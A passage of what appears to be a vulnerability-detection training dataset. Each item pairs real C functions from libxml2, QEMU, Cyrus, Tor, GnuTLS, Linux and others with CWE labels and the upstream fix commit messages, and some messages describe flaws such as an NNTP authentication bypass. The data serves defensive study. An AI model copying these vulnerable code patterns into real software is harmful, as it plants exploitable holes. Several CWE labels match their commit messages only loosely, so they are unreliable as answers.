xmlMalloc(sizeof(xmlXPathParserContext));\n if (ret == NULL) {\n xmlXPathErrMemory(ctxt, \"creating evaluation context\\n\");\n\treturn(NULL);\n }\n memset(ret, 0 , (size_t) sizeof(xmlXPathParserContext));\n\n /* Allocate the value stack */\n ret->valueTab = (xmlXPathObjectPtr *)\n xmlMalloc(10 * sizeof(xmlXPathObjectPtr));\n if (ret->valueTab == NULL) {\n\txmlFree(ret);\n\txmlXPathErrMemory(ctxt, \"creating evaluation context\\n\");\n\treturn(NULL);\n }\n ret->valueNr = 0;\n ret->valueMax = 10;\n ret->value = NULL;\n\n ret->context = ctxt;\n ret->comp = comp;\n ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Hardening of XPath evaluation\n\nAdd a mechanism of frame for XPath evaluation when entering a function\nor a scoped evaluation, also fix a potential problem in predicate\nevaluation.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int scsi_disk_emulate_command(SCSIDiskReq *r, uint8_t *outbuf)\n{\n SCSIRequest *req = &r->req;\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, req->dev);\n uint64_t nb_sectors;\n int buflen = 0;\n\n switch (req->cmd.buf[0]) {\n case TEST_UNIT_READY:\n if (s->tray_open || !bdrv_is_inserted(s->bs))\n goto not_ready;\n break;\n case INQUIRY:\n buflen = scsi_disk_emulate_inquiry(req, outbuf);\n if (buflen < 0)\n goto illegal_request;\n break;\n case MODE_SENSE:\n case MODE_SENSE_10:\n buflen = scsi_disk_emulate_mode_sense(r, outbuf);\n if (buflen < 0)\n goto illegal_request;\n break;\n case READ_TOC:\n buflen = scsi_disk_emulate_read_toc(req, outbuf);\n if (buflen < 0)\n goto illegal_request;\n break;\n case RESERVE:\n if (req->cmd.buf[1] & 1)\n goto illegal_request;\n break;\n case RESERVE_10:\n if (req->cmd.buf[1] & 3)\n goto illegal_request;\n break;\n case RELEASE:\n if (req->cmd.buf[1] & 1)\n goto illegal_request;\n break;\n case RELEASE_10:\n if (req->cmd.buf[1] & 3)\n goto illegal_request;\n break;\n case START_STOP:\n if (scsi_disk_emulate_start_stop(r) < 0) {\n return -1;\n }\n break;\n case ALLOW_MEDIUM_REMOVAL:\n s->tray_locked = req->cmd.buf[4] & 1;\n bdrv_lock_medium(s->bs, req->cmd.buf[4] & 1);\n break;\n case READ_CAPACITY_10:\n /* The normal LEN field for this command is zero. */\n memset(outbuf, 0, 8);\n bdrv_get_geometry(s->bs, &nb_sectors);\n if (!nb_sectors)\n goto not_ready;\n nb_sectors /= s->cluster_size;\n /* Returned value is the address of the last sector. */\n nb_sectors--;\n /* Remember the new size for read/write sanity checking. */\n s->max_lba = nb_sectors;\n /* Clip to 2TB, instead of returning capacity modulo 2TB. */\n if (nb_sectors > UINT32_MAX)\n nb_sectors = UINT32_MAX;\n outbuf[0] = (nb_sectors >> 24) & 0xff;\n outbuf[1] = (nb_sectors >> 16) & 0xff;\n outbuf[2] = (nb_sectors >> 8) & 0xff;\n outbuf[3] = nb_sectors & 0xff;\n outbuf[4] = 0;\n outbuf[5] = 0;\n outbuf[6] = s->cluster_size * 2;\n outbuf[7] = 0;\n buflen = 8;\n break;\n case GET_CONFIGURATION:\n memset(outbuf, 0, 8);\n /* ??? This should probably return much more information. For now\n just return the basic header indicating the CD-ROM profile. */\n outbuf[7] = 8; // CD-ROM\n buflen = 8;\n break;\n case SERVICE_ACTION_IN_16:\n /* Service Action In subcommands. */\n if ((req->cmd.buf[1] & 31) == SAI_READ_CAPACITY_16) {\n DPRINTF(\"SAI READ CAPACITY(16)\\n\");\n memset(outbuf, 0, req->cmd.xfer);\n bdrv_get_geometry(s->bs, &nb_sectors);\n if (!nb_sectors)\n goto not_ready;\n nb_sectors /= s->cluster_size;\n /* Returned value is the address of the last sector. */\n nb_sectors--;\n /* Remember the new size for read/write sanity checking. */\n s->max_lba = nb_sectors;\n outbuf[0] = (nb_sectors >> 56) & 0xff;\n outbuf[1] = (nb_sectors >> 48) & 0xff;\n outbuf[2] = (nb_sectors >> 40) & 0xff;\n outbuf[3] = (nb_sectors >> 32) & 0xff;\n outbuf[4] = (nb_sectors >> 24) & 0xff;\n outbuf[5] = (nb_sectors >> 16) & 0xff;\n outbuf[6] = (nb_sectors >> 8) & 0xff;\n outbuf[7] = nb_sectors & 0xff;\n outbuf[8] = 0;\n outbuf[9] = 0;\n outbuf[10] = s->cluster_size * 2;\n outbuf[11] = 0;\n outbuf[12] = 0;\n outbuf[13] = get_physical_block_exp(&s->qdev.conf);\n\n /* set TPE bit if the format supports discard */\n if (s->qdev.conf.discard_granularity) {\n outbuf[14] = 0x80;\n }\n\n /* Protection, exponent and lowest lba field left blank. */\n buflen = req->cmd.xfer;\n break;\n }\n DPRINTF(\"Unsupported Service Action In\\n\");\n goto illegal_request;\n case VERIFY_10:\n break;\n default:\n scsi_check_condition(r, SENSE_CODE(INVALID_OPCODE));\n return -1;\n }\n return buflen;\n\nnot_ready:\n if (s->tray_open || !bdrv_is_inserted(s->bs)) {\n scsi_check_condition(r, SENSE_CODE(NO_MEDIUM));\n } else {\n scsi_check_condition(r, SENSE_CODE(LUN_NOT_READY));\n }\n return -1;\n\nillegal_request:\n if (r->req.status == -1) {\n scsi_check_condition(r, SENSE_CODE(INVALID_FIELD));\n }\n return -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'scsi-disk: lazily allocate bounce buffer\n\nIt will not be needed for reads and writes if the HBA provides a sglist.\nIn addition, this lets scsi-disk refuse commands with an excessive\nallocation length, as well as limit memory on usual well-behaved guests.\n\nSigned-off-by: Paolo Bonzini \nSigned-off-by: Kevin Wolf '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int open_group(char *name, int has_prefix, struct backend **ret,\n\t\t int *postable /* used for LIST ACTIVE only */)\n{\n char mailboxname[MAX_MAILBOX_BUFFER];\n int r = 0;\n char *acl, *newserver;\n struct backend *backend_next = NULL;\n\n /* close local group */\n if (group_state) \n\tindex_close(&group_state);\n\n if (!has_prefix) {\n\tsnprintf(mailboxname, sizeof(mailboxname), \"%s%s\", newsprefix, name);\n\tname = mailboxname;\n }\n\n if (!r) r = mlookup(name, &newserver, &acl, NULL);\n\n if (!r && acl) {\n\tint myrights = cyrus_acl_myrights(nntp_authstate, acl);\n\n\tif (postable) *postable = myrights & ACL_POST;\n\tif (!postable && /* allow limited 'r' for LIST ACTIVE */\n\t !(myrights & ACL_READ)) {\n\t r = (myrights & ACL_LOOKUP) ?\n\t\tIMAP_PERMISSION_DENIED : IMAP_MAILBOX_NONEXISTENT;\n\t}\n }\n\n if (r) return r;\n\n if (newserver) {\n\t/* remote group */\n\tbackend_next = proxy_findserver(newserver, &nntp_protocol,\n\t\t\t\t\tnntp_userid ? nntp_userid : \"anonymous\",\n\t\t\t\t\t&backend_cached, &backend_current,\n\t\t\t\t\tNULL, nntp_in);\n\tif (!backend_next) return IMAP_SERVER_UNAVAILABLE;\n\n\t*ret = backend_next;\n }\n else {\n\t/* local group */\n\tstruct index_init init;\n\tmemset(&init, 0, sizeof(struct index_init));\n\tinit.userid = nntp_userid;\n\tinit.authstate = nntp_authstate;\n\tr = index_open(name, &init, &group_state);\n\tif (r) return r;\n\n\tif (ret) *ret = NULL;\n }\n\n syslog(LOG_DEBUG, \"open: user %s opened %s\",\n\t nntp_userid ? nntp_userid : \"anonymous\", name);\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': 'Secunia SA46093 - make sure nntp authentication completes\n\nDiscovered by Stefan Cornelius, Secunia Research\n\nThe vulnerability is caused due to the access restriction for certain\ncommands only checking whether or not variable \"nntp_userid\" is non-NULL,\nwithout performing additional checks to verify that a complete, successful\nauthentication actually took place. The variable \"nntp_userid\" can be set to\npoint to a string holding the username (changing it to a non-NULL, thus\nallowing attackers to bypass the checks) by sending an \"AUTHINFO USER\"\ncommand. The variable is not reset to NULL until e.g. a wrong \"AUTHINFO\nPASS\" command is received. This can be exploited to bypass the\nauthentication mechanism and allows access to e.g. the \"NEWNEWS\" or the\n\"LIST NEWSGROUPS\" commands by sending an \"AUTHINFO USER\" command without a\nfollowing \"AUTHINFO PASS\" command.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *getusername(void)\n{\n\tchar *username = NULL;\n\tstruct passwd *password = getpwuid(getuid());\n\n\tif (password)\n\t\tusername = password->pw_name;\n\treturn username;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'mount.cifs: guard against signals by unprivileged users\n\nIf mount.cifs is setuid root, then the unprivileged user who runs the\nprogram can send the mount.cifs process a signal and kill it. This is\nnot a huge problem unless we happen to be updating the mtab at the\ntime, in which case the mtab lockfiles might not get cleaned up.\n\nTo remedy this, have the privileged mount.cifs process set its real\nuid to the effective uid (usually, root). This prevents unprivileged\nusers from being able to signal the process.\n\nWhile we're at it, also mask off signals while we're updating the\nmtab. This leaves a SIGKILL by root as the only way to interrupt the\nmtab update, but there's really nothing we can do about that.\n\nSigned-off-by: Jeff Layton '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int _assemble_line(FILE *f, char *buffer, int buf_len)\n{\n char *p = buffer;\n char *s, *os;\n int used = 0;\n\n /* loop broken with a 'break' when a non-'\\\\n' ended line is read */\n\n D((\"called.\"));\n for (;;) {\n\tif (used >= buf_len) {\n\t /* Overflow */\n\t D((\"_assemble_line: overflow\"));\n\t return -1;\n\t}\n\tif (fgets(p, buf_len - used, f) == NULL) {\n\t if (used) {\n\t\t/* Incomplete read */\n\t\treturn -1;\n\t } else {\n\t\t/* EOF */\n\t\treturn 0;\n\t }\n\t}\n\n\t/* skip leading spaces --- line may be blank */\n\n\ts = p + strspn(p, \" \\n\\t\");\n\tif (*s && (*s != '#')) {\n\t os = s;\n\n\t /*\n\t * we are only interested in characters before the first '#'\n\t * character\n\t */\n\n\t while (*s && *s != '#')\n\t\t ++s;\n\t if (*s == '#') {\n\t\t *s = '\\0';\n\t\t used += strlen(os);\n\t\t break; /* the line has been read */\n\t }\n\n\t s = os;\n\n\t /*\n\t * Check for backslash by scanning back from the end of\n\t * the entered line, the '\\n' has been included since\n\t * normally a line is terminated with this\n\t * character. fgets() should only return one though!\n\t */\n\n\t s += strlen(s);\n\t while (s > os && ((*--s == ' ') || (*s == '\\t')\n\t\t\t || (*s == '\\n')));\n\n\t /* check if it ends with a backslash */\n\t if (*s == '\\\\') {\n\t\t*s = '\\0'; /* truncate the line here */\n\t\tused += strlen(os);\n\t\tp = s; /* there is more ... */\n\t } else {\n\t\t/* End of the line! */\n\t\tused += strlen(os);\n\t\tbreak; /* this is the complete line */\n\t }\n\n\t} else {\n\t /* Nothing in this line */\n\t /* Don't move p */\n\t}\n }\n\n return used;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'pam_env: correctly count leading whitespace when parsing environment file\n\n* modules/pam_env/pam_env.c (_assemble_line): Correctly count leading\nwhitespace.\nFixes CVE-2011-3148.\nBug-Ubuntu: https://bugs.launchpad.net/ubuntu/+source/pam/+bug/874469'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tor_tls_context_init(int is_public_server,\n crypto_pk_env_t *client_identity,\n crypto_pk_env_t *server_identity,\n unsigned int key_lifetime)\n{\n int rv1 = 0;\n int rv2 = 0;\n\n if (is_public_server) {\n tor_tls_context_t *new_ctx;\n tor_tls_context_t *old_ctx;\n\n tor_assert(server_identity != NULL);\n\n rv1 = tor_tls_context_init_one(&server_tls_context,\n server_identity,\n key_lifetime);\n\n if (rv1 >= 0) {\n new_ctx = server_tls_context;\n tor_tls_context_incref(new_ctx);\n old_ctx = client_tls_context;\n client_tls_context = new_ctx;\n\n if (old_ctx != NULL) {\n tor_tls_context_decref(old_ctx);\n }\n }\n } else {\n if (server_identity != NULL) {\n rv1 = tor_tls_context_init_one(&server_tls_context,\n server_identity,\n key_lifetime);\n } else {\n tor_tls_context_t *old_ctx = server_tls_context;\n server_tls_context = NULL;\n\n if (old_ctx != NULL) {\n tor_tls_context_decref(old_ctx);\n }\n }\n\n rv2 = tor_tls_context_init_one(&client_tls_context,\n client_identity,\n key_lifetime);\n }\n\n return rv1 < rv2 ? rv1 : rv2;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Don't send a certificate chain on outgoing TLS connections from non-relays'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gnutls_session_get_data (gnutls_session_t session,\n void *session_data, size_t * session_data_size)\n{\n\n gnutls_datum_t psession;\n int ret;\n\n if (session->internals.resumable == RESUME_FALSE)\n return GNUTLS_E_INVALID_SESSION;\n\n psession.data = session_data;\n\n ret = _gnutls_session_pack (session, &psession);\n if (ret < 0)\n {\n gnutls_assert ();\n return ret;\n }\n *session_data_size = psession.size;\n\n if (psession.size > *session_data_size)\n {\n ret = GNUTLS_E_SHORT_MEMORY_BUFFER;\n goto error;\n }\n\n if (session_data != NULL)\n memcpy (session_data, psession.data, psession.size);\n\n ret = 0;\n\nerror:\n _gnutls_free_datum (&psession);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'gnutls_session_get_data: fix possible buffer overflow\n\nThe test to avoid the buffer overflow was always false because\nsession_data_size was set at the wrong place. This problem has been introduced\nby this commit:\n\n|commit ad4ed44c65e753e6d3a00104c049dd81826ccbf3\n|Author: Nikos Mavrogiannopoulos \n|Date: Mon Nov 7 22:24:48 2005 +0000\n|\n| This is the initial commit in the 1.3 branch. Ported from the PSK branch:\n| * PSK ciphersuites have been added.\n| * The session resumption data are now system independent.\n\nSigned-off-by: Nikos Mavrogiannopoulos '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlDictComputeFastQKey(const xmlChar *prefix, int plen,\n const xmlChar *name, int len)\n{\n unsigned long value = 0L;\n\n if (plen == 0)\n\tvalue += 30 * (unsigned long) ':';\n else\n\tvalue += 30 * (*prefix);\n\n if (len > 10) {\n value += name[len - (plen + 1 + 1)];\n len = 10;\n\tif (plen > 10)\n\t plen = 10;\n }\n switch (plen) {\n case 10: value += prefix[9];\n case 9: value += prefix[8];\n case 8: value += prefix[7];\n case 7: value += prefix[6];\n case 6: value += prefix[5];\n case 5: value += prefix[4];\n case 4: value += prefix[3];\n case 3: value += prefix[2];\n case 2: value += prefix[1];\n case 1: value += prefix[0];\n default: break;\n }\n len -= plen;\n if (len > 0) {\n value += (unsigned long) ':';\n\tlen--;\n }\n switch (len) {\n case 10: value += name[9];\n case 9: value += name[8];\n case 8: value += name[7];\n case 7: value += name[6];\n case 6: value += name[5];\n case 5: value += name[4];\n case 4: value += name[3];\n case 3: value += name[2];\n case 2: value += name[1];\n case 1: value += name[0];\n default: break;\n }\n return(value);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Add hash randomization to hash and dict structures\n\nFollowing http://www.ocert.org/advisories/ocert-2011-003.html\nit seems that having hash randomization might be a good idea\nwhen using XML with untrusted data\n* configure.in: lookup for rand, srand and time\n* dict.c: add randomization to dictionaries hash tables\n* hash.c: add randomization to normal hash tables'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void preempt_conditional_sti(struct pt_regs *regs)\n{\n\tinc_preempt_count();\n\tif (regs->flags & X86_EFLAGS_IF)\n\t\tlocal_irq_enable();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'x86: Do not disable preemption in int3 on 32bit\n\nPreemption must be disabled before enabling interrupts in do_trap\non x86_64 because the stack in use for int3 and debug is a per CPU\nstack set by th IST. But 32bit does not have an IST and the stack\nstill belongs to the current task and there is no problem in scheduling\nout the task.\n\nKeep preemption enabled on X86_32 when enabling interrupts for\ndo_trap().\n\nThe name of the function is changed from preempt_conditional_sti/cli()\nto conditional_sti/cli_ist(), to annotate that this function is used\nwhen the stack is on the IST.\n\nCc: stable-rt@vger.kernel.org\nSigned-off-by: Steven Rostedt \nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: log2vis_utf8 (PyObject * string, int unicode_length,\n\t FriBidiParType base_direction, int clean, int reordernsm)\n{\n\tFriBidiChar *logical = NULL; /* input fribidi unicode buffer */\n\tFriBidiChar *visual = NULL;\t /* output fribidi unicode buffer */\n\tchar *visual_utf8 = NULL; /* output fribidi UTF-8 buffer */\n\tFriBidiStrIndex new_len = 0; /* length of the UTF-8 buffer */\n\tPyObject *result = NULL;\t /* failure */\n\n\t/* Allocate fribidi unicode buffers */\n\n\tlogical = PyMem_New (FriBidiChar, unicode_length + 1);\n\tif (logical == NULL)\n\t{\n\t\tPyErr_SetString (PyExc_MemoryError,\n\t\t\t\t \"failed to allocate unicode buffer\");\n\t\tgoto cleanup;\n\t}\n\n\tvisual = PyMem_New (FriBidiChar, unicode_length + 1);\n\tif (visual == NULL)\n\t{\n\t\tPyErr_SetString (PyExc_MemoryError,\n\t\t\t\t \"failed to allocate unicode buffer\");\n\t\tgoto cleanup;\n\t}\n\n\t/* Convert to unicode and order visually */\n\tfribidi_set_reorder_nsm(reordernsm);\n\tfribidi_utf8_to_unicode (PyString_AS_STRING (string),\n\t\t\t\t PyString_GET_SIZE (string), logical);\n\n\tif (!fribidi_log2vis (logical, unicode_length, &base_direction, visual,\n\t\t\t NULL, NULL, NULL))\n\t{\n\t\tPyErr_SetString (PyExc_RuntimeError,\n\t\t\t\t \"fribidi failed to order string\");\n\t\tgoto cleanup;\n\t}\n\n\t/* Cleanup the string if requested */\n\tif (clean)\n\t\tfribidi_remove_bidi_marks (visual, unicode_length, NULL, NULL, NULL);\n\n\t/* Allocate fribidi UTF-8 buffer */\n\n\tvisual_utf8 = PyMem_New(char, (unicode_length * 4)+1);\n\tif (visual_utf8 == NULL)\n\t{\n\t\tPyErr_SetString (PyExc_MemoryError,\n\t\t\t\t\"failed to allocate UTF-8 buffer\");\n\t\tgoto cleanup;\n\t}\n\n\t/* Encode the reordered string and create result string */\n\n\tnew_len = fribidi_unicode_to_utf8 (visual, unicode_length, visual_utf8);\n\n\tresult = PyString_FromStringAndSize (visual_utf8, new_len);\n\tif (result == NULL)\n\t\t/* XXX does it raise any error? */\n\t\tgoto cleanup;\n\n cleanup:\n\t/* Delete unicode buffers */\n\tPyMem_Del (logical);\n\tPyMem_Del (visual);\n\tPyMem_Del (visual_utf8);\n\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'refactor pyfribidi.c module\n\npyfribidi.c is now compiled as _pyfribidi. This module only handles\nunicode internally and doesn't use the fribidi_utf8_to_unicode\nfunction (which can't handle 4 byte utf-8 sequences). This fixes the\nbuffer overflow in issue #2.\n\nThe code is now also much simpler: pyfribidi.c is down from 280 to 130\nlines of code.\n\nWe now ship a pure python pyfribidi that handles the case when\nnon-unicode strings are passed in.\n\nWe now also adapt the size of the output string if clean=True is\npassed.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GnashImage::GnashImage(size_t width, size_t height, ImageType type,\n ImageLocation location)\n :\n _type(type),\n _location(location),\n _width(width),\n _height(height)\n{\n const size_t max = std::numeric_limits::max();\n if (size() > max) {\n throw std::bad_alloc();\n }\n _data.reset(new value_type[size()]);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix crash in GnashImage.cpp'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int mem_cgroup_move_charge_pte_range(pmd_t *pmd,\n\t\t\t\tunsigned long addr, unsigned long end,\n\t\t\t\tstruct mm_walk *walk)\n{\n\tint ret = 0;\n\tstruct vm_area_struct *vma = walk->private;\n\tpte_t *pte;\n\tspinlock_t *ptl;\n\n\tsplit_huge_page_pmd(walk->mm, pmd);\nretry:\n\tpte = pte_offset_map_lock(vma->vm_mm, pmd, addr, &ptl);\n\tfor (; addr != end; addr += PAGE_SIZE) {\n\t\tpte_t ptent = *(pte++);\n\t\tunion mc_target target;\n\t\tint type;\n\t\tstruct page *page;\n\t\tstruct page_cgroup *pc;\n\t\tswp_entry_t ent;\n\n\t\tif (!mc.precharge)\n\t\t\tbreak;\n\n\t\ttype = is_target_pte_for_mc(vma, addr, ptent, &target);\n\t\tswitch (type) {\n\t\tcase MC_TARGET_PAGE:\n\t\t\tpage = target.page;\n\t\t\tif (isolate_lru_page(page))\n\t\t\t\tgoto put;\n\t\t\tpc = lookup_page_cgroup(page);\n\t\t\tif (!mem_cgroup_move_account(page, 1, pc,\n\t\t\t\t\t\t mc.from, mc.to, false)) {\n\t\t\t\tmc.precharge--;\n\t\t\t\t/* we uncharge from mc.from later. */\n\t\t\t\tmc.moved_charge++;\n\t\t\t}\n\t\t\tputback_lru_page(page);\nput:\t\t\t/* is_target_pte_for_mc() gets the page */\n\t\t\tput_page(page);\n\t\t\tbreak;\n\t\tcase MC_TARGET_SWAP:\n\t\t\tent = target.ent;\n\t\t\tif (!mem_cgroup_move_swap_account(ent,\n\t\t\t\t\t\tmc.from, mc.to, false)) {\n\t\t\t\tmc.precharge--;\n\t\t\t\t/* we fixup refcnts and charges later. */\n\t\t\t\tmc.moved_swap++;\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t}\n\tpte_unmap_unlock(pte - 1, ptl);\n\tcond_resched();\n\n\tif (addr != end) {\n\t\t/*\n\t\t * We have consumed all precharges we got in can_attach().\n\t\t * We try charge one by one, but don't do any additional\n\t\t * charges to mc.to if we have failed in charge once in attach()\n\t\t * phase.\n\t\t */\n\t\tret = mem_cgroup_do_precharge(1);\n\t\tif (!ret)\n\t\t\tgoto retry;\n\t}\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode\n\nIn some cases it may happen that pmd_none_or_clear_bad() is called with\nthe mmap_sem hold in read mode. In those cases the huge page faults can\nallocate hugepmds under pmd_none_or_clear_bad() and that can trigger a\nfalse positive from pmd_bad() that will not like to see a pmd\nmaterializing as trans huge.\n\nIt's not khugepaged causing the problem, khugepaged holds the mmap_sem\nin write mode (and all those sites must hold the mmap_sem in read mode\nto prevent pagetables to go away from under them, during code review it\nseems vm86 mode on 32bit kernels requires that too unless it's\nrestricted to 1 thread per process or UP builds). The race is only with\nthe huge pagefaults that can convert a pmd_none() into a\npmd_trans_huge().\n\nEffectively all these pmd_none_or_clear_bad() sites running with\nmmap_sem in read mode are somewhat speculative with the page faults, and\nthe result is always undefined when they run simultaneously. This is\nprobably why it wasn't common to run into this. For example if the\nmadvise(MADV_DONTNEED) runs zap_page_range() shortly before the page\nfault, the hugepage will not be zapped, if the page fault runs first it\nwill be zapped.\n\nAltering pmd_bad() not to error out if it finds hugepmds won't be enough\nto fix this, because zap_pmd_range would then proceed to call\nzap_pte_range (which would be incorrect if the pmd become a\npmd_trans_huge()).\n\nThe simplest way to fix this is to read the pmd in the local stack\n(regardless of what we read, no need of actual CPU barriers, only\ncompiler barrier needed), and be sure it is not changing under the code\nthat computes its value. Even if the real pmd is changing under the\nvalue we hold on the stack, we don't care. If we actually end up in\nzap_pte_range it means the pmd was not none already and it was not huge,\nand it can't become huge from under us (khugepaged locking explained\nabove).\n\nAll we need is to enforce that there is no way anymore that in a code\npath like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad\ncan run into a hugepmd. The overhead of a barrier() is just a compiler\ntweak and should not be measurable (I only added it for THP builds). I\ndon't exclude different compiler versions may have prevented the race\ntoo by caching the value of *pmd on the stack (that hasn't been\nverified, but it wouldn't be impossible considering\npmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines\nand there's no external function called in between pmd_trans_huge and\npmd_none_or_clear_bad).\n\n\t\tif (pmd_trans_huge(*pmd)) {\n\t\t\tif (next-addr != HPAGE_PMD_SIZE) {\n\t\t\t\tVM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));\n\t\t\t\tsplit_huge_page_pmd(vma->vm_mm, pmd);\n\t\t\t} else if (zap_huge_pmd(tlb, vma, pmd, addr))\n\t\t\t\tcontinue;\n\t\t\t/* fall through */\n\t\t}\n\t\tif (pmd_none_or_clear_bad(pmd))\n\nBecause this race condition could be exercised without special\nprivileges this was reported in CVE-2012-1179.\n\nThe race was identified and fully explained by Ulrich who debugged it.\nI'm quoting his accurate explanation below, for reference.\n\n====== start quote =======\n mapcount 0 page_mapcount 1\n kernel BUG at mm/huge_memory.c:1384!\n\n At some point prior to the panic, a \"bad pmd ...\" message similar to the\n following is logged on the console:\n\n mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).\n\n The \"bad pmd ...\" message is logged by pmd_clear_bad() before it clears\n the page's PMD table entry.\n\n 143 void pmd_clear_bad(pmd_t *pmd)\n 144 {\n -> 145 pmd_ERROR(*pmd);\n 146 pmd_clear(pmd);\n 147 }\n\n After the PMD table entry has been cleared, there is an inconsistency\n between the actual number of PMD table entries that are mapping the page\n and the page's map count (_mapcount field in struct page). When the page\n is subsequently reclaimed, __split_huge_page() detects this inconsistency.\n\n 1381 if (mapcount != page_mapcount(page))\n 1382 printk(KERN_ERR \"mapcount %d page_mapcount %d\\n\",\n 1383 mapcount, page_mapcount(page));\n -> 1384 BUG_ON(mapcount != page_mapcount(page));\n\n The root cause of the problem is a race of two threads in a multithreaded\n process. Thread B incurs a page fault on a virtual address that has never\n been accessed (PMD entry is zero) while Thread A is executing an madvise()\n system call on a virtual address within the same 2 MB (huge page) range.\n\n virtual address space\n .---------------------.\n | |\n | |\n .-|---------------------|\n | | |\n | | |<-- B(fault)\n | | |\n 2 MB | |/////////////////////|-.\n huge < |/////////////////////| > A(range)\n page | |/////////////////////|-'\n | | |\n | | |\n '-|---------------------|\n | |\n | |\n '---------------------'\n\n - Thread A is executing an madvise(..., MADV_DONTNEED) system call\n on the virtual address range \"A(range)\" shown in the picture.\n\n sys_madvise\n // Acquire the semaphore in shared mode.\n down_read(¤t->mm->mmap_sem)\n ...\n madvise_vma\n switch (behavior)\n case MADV_DONTNEED:\n madvise_dontneed\n zap_page_range\n unmap_vmas\n unmap_page_range\n zap_pud_range\n zap_pmd_range\n //\n // Assume that this huge page has never been accessed.\n // I.e. content of the PMD entry is zero (not mapped).\n //\n if (pmd_trans_huge(*pmd)) {\n // We don't get here due to the above assumption.\n }\n //\n // Assume that Thread B incurred a page fault and\n .---------> // sneaks in here as shown below.\n | //\n | if (pmd_none_or_clear_bad(pmd))\n | {\n | if (unlikely(pmd_bad(*pmd)))\n | pmd_clear_bad\n | {\n | pmd_ERROR\n | // Log \"bad pmd ...\" message here.\n | pmd_clear\n | // Clear the page's PMD entry.\n | // Thread B incremented the map count\n | // in page_add_new_anon_rmap(), but\n | // now the page is no longer mapped\n | // by a PMD entry (-> inconsistency).\n | }\n | }\n |\n v\n - Thread B is handling a page fault on virtual address \"B(fault)\" shown\n in the picture.\n\n ...\n do_page_fault\n __do_page_fault\n // Acquire the semaphore in shared mode.\n down_read_trylock(&mm->mmap_sem)\n ...\n handle_mm_fault\n if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))\n // We get here due to the above assumption (PMD entry is zero).\n do_huge_pmd_anonymous_page\n alloc_hugepage_vma\n // Allocate a new transparent huge page here.\n ...\n __do_huge_pmd_anonymous_page\n ...\n spin_lock(&mm->page_table_lock)\n ...\n page_add_new_anon_rmap\n // Here we increment the page's map count (starts at -1).\n 